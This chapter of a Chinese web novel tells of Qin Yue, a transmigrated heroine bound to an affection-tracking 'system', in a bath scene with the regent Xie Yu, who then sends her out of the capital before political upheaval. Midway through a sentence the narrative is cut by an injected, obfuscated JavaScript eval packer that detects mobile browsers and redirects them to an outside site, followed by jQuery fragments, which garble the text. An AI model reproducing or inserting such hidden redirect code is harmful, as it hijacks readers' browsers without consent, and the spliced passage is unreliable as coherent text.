70. 汤浴

    “谢隅?”


    她试着唤了一声,得来一句沙哑的应答。


    顾不得小鱼,她缓缓起身,另一只手轻轻掀开斗笠。


    如料想中一样,映入眼帘是眸底尚未消散的猩红杀意。


    她用丝帕轻柔拭去他脸上溅落的血迹,在他侧脸轻轻拍了拍,像在尝试唤醒一个沉睡许久的人。


    能感觉到覆着的那只手停下轻颤,反握住她。秦悦笑了笑,道:“好好洗漱一下吧,至少换了这身衣服。”


    他低声道:“好。”


    枕流轩已备好汤浴,花瓣尽数倾泻入池,女侍们放下纱帐,低着头自门扉退去。


    一屏之隔,借着摇曳烛光,她隐约看见那颀长的身影正缓慢解开腰带。玄色外袍顺着肩线滑落,在山河屏风上投下一道朦胧剪影。


    耳根忽然有些发烫,秦悦默默别过脸去:“……我出去等你。”


    这暧昧的氛围,很容易让人想入非非啊!


    主要是她还见过谢隅上半身……


    不能想不能想……更有画面感了!


    刚走出两步,身后忽然环上一双苍劲有力的手臂。他胸膛紧紧贴着她脊背,低低的声音里蕴含着微不可察的颤意:“别走。”


    感受到他依旧紧绷着,秦悦愣了愣神,轻拍他交叠在她腰间的手背。


    “好,我不走。”


    她眼神乱飘,终是下定决心往下看了一眼——


    还好还好,没脱光,还有一件里衣。


    耳畔传来两声低笑,她后知后觉,掰开那人环在她腰上的手,微愠道:“别笑了,快去洗。”


    她的心声既吵闹又出人意料,却似一副强而有力的镇静药方。谢隅颅内因克制而紧绷的弦此刻终于舒展开来,逐渐恢复往日的平静。


    听着身后入水的声响,秦悦始终没敢回头。


    蒸腾的水汽漫过浴池边沿,侵蚀至她足底。


    良久的沉默中,她拼命克制思维发散,暗暗发誓不能再被他听到什么不可描述的东西。


    万籁俱寂。


    她微微偏头,“你好点儿了吗?”


    “嗯。”


    她长吁出一口气:“那就好。”


    又解锁一个冷静的方法——泡澡。


    谢隅忽然发问:“你为何不问我?”


    秦悦懵了:“问什么?”


    “问我为什么杀人灭口。”


    这有什么好问的?少知道点秘密才能苟久一点。而且她并不关心朝堂上这些党争权谋,只要他别再像上次一样把自己折腾得浑身是伤就行。


    谢隅道:“你没有阻止的想法么?”


    “未经他人苦,莫劝他人善。我不知道你过去二十二年怎么过的,自然也不会将自己的想法强加给你。”


    “为虎作伥,是想与我同作恶人么?”


    秦悦笑了:“你第一天认识我?我本来就不是什么大善人啊。”


    又是一阵低沉的笑。她还未反应过来,脚踝突然被一把握住。


    天旋地转间,整个人倏然被拽入浴池,温水瞬间浸透衣衫。水花四溅中,她慌乱抬眸,正好看见他湿透的白色里衣。


    布料紧贴身躯,勾勒出分明的肌肉轮廓,若隐若现的肉色让她霎时烧红了脸。


    秦悦几乎是一瞬间捂住了眼。


    尽管如此,脑子还是源源不断冒出想法。各种颜色的都有。


    黑暗中,某人在她耳边吐息:“我都听见了。”


    秦悦:“……那你最好左耳进右耳出!”


    “嗯,一字不落记住了。”


    钳制她腰身的手逐渐松开,哗啦啦的水声入耳,待她撤下遮眼的手才发现谢隅已经离开浴池,甚至换上了干净的衣物。


    他拢好衣襟,转身时,目光不经意掠过她。


    氤氲水雾中,她乌发如云般浮散在水面,有几缕贴在暖白的颈侧,衬得肌肤如凝脂般透亮。


    谢隅眼底一沉收回视线,离去的步伐稍显急促。


    ……


    白驹过隙,平安无事渡过两月。


    或许只是秦悦眼中的“平安无事”。这些时日,谢隅扮作探花的日子越来越多,进宫次数也日渐增多。


    从扶光和陆眠口中,她大概听出皇帝重病在床,已经卧病一月有余,韩相残留在朝内的门生有些自愿投靠摄政王党,有些自请辞官,但大多都在夜深人静时悄然死亡。


    正如扶光所言,韩相倒台后,近些日子禁军与晏都侯有所异动,京都城内一派祥和宁静,实则波涛暗涌。


    秦悦大致能感觉出来,她已经三日不见谢隅了。


    两月来谢隅一有空就亲自教她用弩,加之她悟性不错,如今也算得上炉火纯青。


    二人平日闲时就坐在池塘八角亭内下下棋、喂喂鱼、逗逗猫,膳房换了一批她亲自挑选的人,做得一手辣菜,她在王府的日子过得别提有多滋润,有时候甚至偷懒旷工。


    老板旷工就罢了,她还时不时怂恿医馆众人一起旷,不是给这人放假,就是让那人以进货为由出京公费旅游。


    明月医馆又迎来一波名声大涨。这次不是因为绝妙医术,而是他们宅心仁厚的东家。


    东家此刻又拒绝了一批申请入职的郎中。


    “医馆就那么丁点儿地,根本用不上那么多人啊……”


    秦悦百无聊赖地撑着下颌,随手抛下一把鱼饲。


    亭外蓦然出现一道黑色身影。谢隅着一身玄色金纹蟒袍,乌发整理束以金冠,像是刚下朝。


    他将京都舆图展开,上边圈点了几处地点,都位于繁华街市。


    “这些商铺如何?”


    秦悦点头:“不错。若在此处开间酒楼,估计半年就能回本。”


    她话锋一转:“可我要是占着这么好的地盘开医馆,那些商户不得眼红心热、恨得牙痒痒嘛?”


    谢隅挑眉:“恨什么?盛京规矩,价高者得。若有人不服,带着真金白银来与王府竞价便是。”


    秦悦沉默了。


    谢隅雄厚财力自然毋庸置疑,这些铺面本是当初议亲时承诺的聘礼之一。


    可若真要开设分馆,少不得又要劳心费神,从医师学徒的甄选任用,到药材渠道的采买调度,桩桩件件都是耗费心力的琐事。


    周伯年纪大了,她不好意思压榨员工,让她亲自上阵,以她这闲散性子,也管不住那么多人。


    谢隅道:“既然没想好,就空在那吧,不急于这一时。”


    秦悦:……空在那更招人恨了。


    她揉了揉脑袋,尚在思考应对之策。谢隅突然牵起她的手,语气放缓,似在与她商量:“想不想回晏都住些日子?”


    秦悦不解:“怎么了?”


    怎么回事,这副像极了赶老婆回娘家的样子。


    依她的性子,自然不会把原因归咎于自己在王府碍事,她不是内耗的人。因此,她只能认为谢隅要干大事,送她出京避风头。


    事实证明,她猜的确实不错。


    但谢隅深思熟虑后,还是道:“秦宅也未必安全,你在京外还有别的去处么?”


    思来想去,好像也只有那一个地方了。


    “只是小住几天半月的话……或许能借住在王家村。”


    王家村离京大约十里,先前去义诊时村民对她都十分热情,想来借住在一户人家中并非难事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586577|167150||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    。


    这么一想,她有大半年没去拜访了,此前在歧州又受了王庆不少帮助,正好借此机会为村民们复诊,指不定还能刷点声望值。


    谢隅点了点头,算是认可。


    秦悦回枕流轩收拾行囊。


    她并未多问谢隅的计划,此刻最明智的选择莫过于听从安排,少优柔寡断。有婚约在身,她便算是谢隅的弱点之一。


    然而系统提示音从谢隅刚出现就不断在她脑内响起。


    她终于有闲情搭理系统:“你知道自己很吵吗,关机!”


    系统:[亲亲请注意攻略期限!你现在没有更换主线的机会,更应该待在谢隅身边抓紧一切机会刷好感度!]


    巨大的红色数字赫然出现在她眼前。


    72。谢隅对她的好感度。


    是了,她这两个月努力刷过,但还是意料之中的没起效。


    [亲亲千万不要自暴自弃!!!好感度不满将会被抹杀!]


    233号机械的系统音都变得情绪化了。


    它虽然有强大的算力,有过往无数攻略者的行为分析数据,可它根本看不透秦悦的行为。


    按理来说,一般的攻略者都会选择在此事表忠心,牵着对方的手深情款款,说什么“无论发生任何事我都会陪在你身边”、“我永远不会离开你”之类的话。


    偏偏秦悦,跑得比谁都快!


    233号对自己产生了怀疑。


    它绑定的用户似乎并不想和谢隅一起共患难。


    “你知道为什么好感度上不去吗?”


    系统开始分析。


    [初步认为是感化值不够。当前感化值有显著提高,但未达100%]


    任务与好感度挂钩,因此系统并不会实时检测感化值,这只是其中一个影响攻略进程的变量。


    秦悦悠悠开口:“感化值固然是一方面,但问题的根源不在这。就算把感化值刷满,任务也不会成功。”


    系统:[那亲亲认为是……?]


    秦悦张了张嘴:“是……”


    “你猜。”


    233号被耍了,决定关机一小时生闷气。


    珠帘叮咚作响,谢隅撩开玉帘走了进来,阳光在他身后拉出一道长影。


    瞧见她已然动作迅疾地将行囊收拾好,抬手替她拢了拢耳边碎发,“我会安排影卫暗中护着你,这些时日暂且别离开王家村。”


    说着又从袖中取出一枚信封,十张地契整齐地叠放在其中。


    “这些本该在大婚时作为聘礼给你,今日既带来了,便先交予你保管。”


    窗外绿枝花影恰好落在他眉眼间,和他颀长的身影一道投射在墙上,显得格外缱绻。


    秦悦却心头一紧,这场景莫名让她想起那些临行托付的戏码,况且谢隅有把自己往死里整的前科,她始终惶惶不安。


    她将信封推回去:“我不要。大婚那日你再亲自给我,反正婚期将近,少不了这半月。”


    谢隅低笑一声,“好。”


    “待事情解决大概要多久?”她忍不住问。


    “不用多久,王妃大可放心,婚期照旧。”


    他执起她的手,俯身与她额头相抵,漆黑眼眸里一如既往的蒙着层云。初秋的暖风自窗外一荡而过,满树彩花倾泻,有几瓣落在他们交握的手上。


    秦悦怔怔地望着他眨了眨眼,道:“这句话收回去,别说。”


    她本意是让他收回婚期照旧这句话,因为听着太像立flag了。


    “不收。你迟早是王妃,早一日晚一日有区别么?”


    秦悦默默扶额。罢了,俩人根本聊的不是一个话题!